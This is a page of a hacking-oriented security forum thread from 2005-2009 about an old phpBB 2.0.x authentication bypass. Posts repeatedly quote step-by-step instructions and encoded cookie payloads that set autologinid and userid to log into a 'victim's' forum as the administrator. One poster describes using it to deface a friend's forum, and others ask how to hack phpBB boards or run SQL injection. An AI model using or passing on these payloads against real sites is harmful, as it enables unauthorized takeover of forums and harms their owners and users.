|
|
|
|
|
|
IT Security and Insecurity Portal |
|
Posted: Sat Dec 03, 2005 10:35 pm |
|
|
LordDemonithese |
Beginner |
|
|
Joined: Dec 04, 2005 |
Posts: 2 |
|
|
|
|
|
|
|
Thanks for the cookie option! my friend has 2.06 forums and he locked me out as a joke, but his fat and annoying cousin kept gloating about it, so I went in and de-modded him and his rank is now "John's Bitch". I changed the forum names to Check and Mate... but i called my friend and told him to show it to his cousin and then just fix it back.
I want to try it a different way, but i have NO idea how to LAUNCH an sql injection. I have found SQL scripts specifically against 2.06, but have never figured out, how in the world to use them. Any help would be appreciated as i am jsut starting out.
Thanks for the help,
LordDemonithese |
|
|
|
|
|
|
|
|
Posted: Sun Feb 26, 2006 12:38 pm |
|
|
ianmac |
Regular user |
|
|
Joined: Feb 26, 2006 |
Posts: 6 |
|
|
|
|
|
|
|
howitzer wrote: | ** YOU DON'T HAVE TO REGISTER AT THE VICTIM'S FORUM..
1- Simply VISIT the forum using Mozilla Firefox.. and be sure that the cookie is made (:
3- Close the Browser ..
2- Open the cookies.txt ..((located on "C:\Documents and Settings\ALI\Application Data\Mozilla\Firefox\Profiles\ur4nn6o5.default" when using WinXP)) in example Wink
and you will find something like :
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
where 127.0.0.1 is the domain for the forum << tested on localhost
and a%3A0%3A%7B%7D is the cookie data ..<< as a visitor
3- ok..let's do it !! ..
now open cookies.txt with your text editor
and replace
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
with
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
---------------------------------------------------------------------------------------------------------------//
save the cookies.txt..
4- Open your Browser..and go to the exploited forum ..
>>enjoy Hi Permission mode !! Very Happy
complete the mission by clicking " Go to Administration Panel "
http://www.waraxe.us/ftopict-610.html |
It doesn't work for me. I don't know what version of phpBB it is.
EDIT: It probably doesn't work because that MD5 hash is for whatever forum you hacked. |
|
|
|
|
|
|
|
|
Posted: Wed Mar 08, 2006 10:01 am |
|
|
Musaaf |
Beginner |
|
|
Joined: Mar 08, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
s3s10n wrote: | The easy way is this:
- get Mozilla firefox!
- install Live http headers plug-in ( http://livehttpheaders.mozdev.org/ )
- open the live http header option. Go to the phpbb board. Scroll to the top in the header, click replay in the index.php header (cookie: phpbb2mysql_t=a ), copy and paste this values:
The following proof of concept demonstrating cookie values necessary to authenticate to the numerical id '2' account, typically the administrator account, is available:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
or:
The following proof of concept was supplied by Dim K0r0l <dim@acolytez.com>:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A4%3A%22[id]%22%3B%7D
click on replay again in that window and you're now logged in as the admin (user id 2) of the board. |
I have tried this method and the first one on the latest phpbb. but it does not work ?
What should be done ? |
|
|
|
|
|
|
|
|
Posted: Sun Sep 30, 2007 4:47 am |
|
|
lavey |
Beginner |
|
|
Joined: Sep 30, 2007 |
Posts: 1 |
|
|
|
|
|
|
|
@ANc
sorry but i am a little bit newbie.
how can someone run the script that you have add? |
|
|
|
|
Posted: Tue Oct 02, 2007 2:26 pm |
|
|
Jako |
Beginner |
|
|
Joined: Oct 02, 2007 |
Posts: 1 |
|
|
|
|
|
|
|
how can i get administrator rights in phpbb2 2.0.21? |
|
|
|
|
Posted: Thu Jan 17, 2008 12:22 am |
|
|
Free2play |
Regular user |
|
|
Joined: Mar 23, 2005 |
Posts: 5 |
|
|
|
|
|
|
|
I know this exploit is void now, but when I open Live HTTP Headers. I cant edit anything, when i right click it it says: Copy,Select Block, Select All, Save Selection, Save all, Clear. There's no edit button so how do i edit a line? I'm working on securing my site so if someone answers it will be appreciated. |
|
|
|
|
|
|
|
|
Posted: Thu Jan 17, 2008 1:20 am |
|
|
FReAK |
Regular user |
|
|
Joined: Jan 09, 2008 |
Posts: 12 |
|
|
|
|
|
|
|
howitzer wrote: | ** YOU DON'T HAVE TO REGISTER AT THE VICTIM'S FORUM..
1- Simply VISIT the forum using Mozilla Firefox.. and be sure that the cookie is made (:
3- Close the Browser ..
2- Open the cookies.txt ..((located on "C:\Documents and Settings\ALI\Application Data\Mozilla\Firefox\Profiles\ur4nn6o5.default" when using WinXP)) in example Wink
and you will find something like :
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
where 127.0.0.1 is the domain for the forum << tested on localhost
and a%3A0%3A%7B%7D is the cookie data ..<< as a visitor
3- ok..let's do it !! ..
now open cookies.txt with your text editor
and replace
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
with
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
---------------------------------------------------------------------------------------------------------------//
save the cookies.txt..
4- Open your Browser..and go to the exploited forum ..
>>enjoy Hi Permission mode !! Very Happy
complete the mission by clicking " Go to Administration Panel "
http://www.waraxe.us/ftopict-610.html |
so exploiting a site is simply editing the cookies saved in temp files? |
|
|
|
|
|
|
|
|
Posted: Thu Jan 17, 2008 12:01 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
It's very old exploit:
http://www.waraxe.us/ftopict-525.html
... and it works perfectly, if phpbb version is < 2.0.12.
And yes - only thing you have to do, is to manipulate local cookies. No need to know admin password hash, no need for session id. |
|
|
|
|
Posted: Sun Aug 03, 2008 8:25 am |
|
|
Lolipop |
Regular user |
|
|
Joined: Aug 03, 2008 |
Posts: 7 |
|
|
|
|
|
|
|
I really have no idea, how you all managed to do this, but I can`t.
There is just one file in www.formlogix.com though I was on "victim`s" forum.
This is written in cookies:
"# HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
# This is a generated file! Do not edit.
# To delete cookies, use the Cookie Manager."
Can anyone help me, please? Thank you! |
|
|
|
|
Posted: Sat Sep 20, 2008 8:43 pm |
|
|
zexx0r |
Beginner |
|
|
Joined: Sep 20, 2008 |
Posts: 1 |
Location: Altoona, IA |
|
|
|
|
|
|
what`s the path for windows vista?
cookies path? |
|
|
|
|
|
phpbb3 |
|
Posted: Thu Dec 18, 2008 5:09 am |
|
|
oploader |
Regular user |
|
|
Joined: Dec 13, 2008 |
Posts: 17 |
|
|
|
|
|
|
|
Hi, Is there anyway to hack a phpbb 3 Forum?
By exploiting.. Or changing HTTP... And getting cookies?
I am really trying to find out how to do this... But i have had no luck...
If you know, Can you please help me out? Thanks [b][i] |
|
|
|
|
|
|
|
|
Posted: Thu Jan 08, 2009 1:17 am |
|
|
Epic |
Beginner |
|
|
Joined: Jan 08, 2009 |
Posts: 4 |
|
|
|
|
|
|
|
s3s10n wrote: | The easy way is this:
- get Mozilla firefox!
- install Live http headers plug-in ( http://livehttpheaders.mozdev.org/ )
- open the live http header option. Go to the phpbb board. Scroll to the top in the header, click replay in the index.php header (cookie: phpbb2mysql_t=a ), copy and paste this values:
The following proof of concept demonstrating cookie values necessary to authenticate to the numerical id '2' account, typically the administrator account, is available:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
or:
The following proof of concept was supplied by Dim K0r0l <dim@acolytez.com>:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A4%3A%22[id]%22%3B%7D
click on replay again in that window and you're now logged in as the admin (user id 2) of the board. |
I followed your steps but didn't get the end result.
Cookie: ForumSetCookie=overrated; phpbb_overrated_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%225230edae7475cab069e380430528c909%22%3Bs%3A6%3A%22userid%22%3Bi%3A17%3B%7D; phpbb_overrated_sid=2cd4f15b3a866cb36b773d99cdd0cd3c
What do i do from here? |
|
|
|
|
|
|
|
|
Posted: Thu Jan 08, 2009 1:54 am |
|
|
_mranderson_ |
Valuable expert |
|
|
Joined: Oct 30, 2008 |
Posts: 51 |
|
|
|
|
|
|
|
I m sorry to say this is really script kiddish |
|
|
|
|
Posted: Thu Jan 08, 2009 1:59 am |
|
|
Epic |
Beginner |
|
|
Joined: Jan 08, 2009 |
Posts: 4 |
|
|
|
|
|
|
|
you have to start somewhere man.. first crawl before you walk. |
|
|
|
|
Posted: Thu Jan 08, 2009 9:34 am |
|
|
gyan007 |
Advanced user |
|
|
Joined: Oct 17, 2008 |
Posts: 106 |
|
|
|
|
|
|
|
First crawl before you can walk can mean that you must do some serious reading before you try these things.. |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 2 of 3
Goto page Previous1, 2, 3Next
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|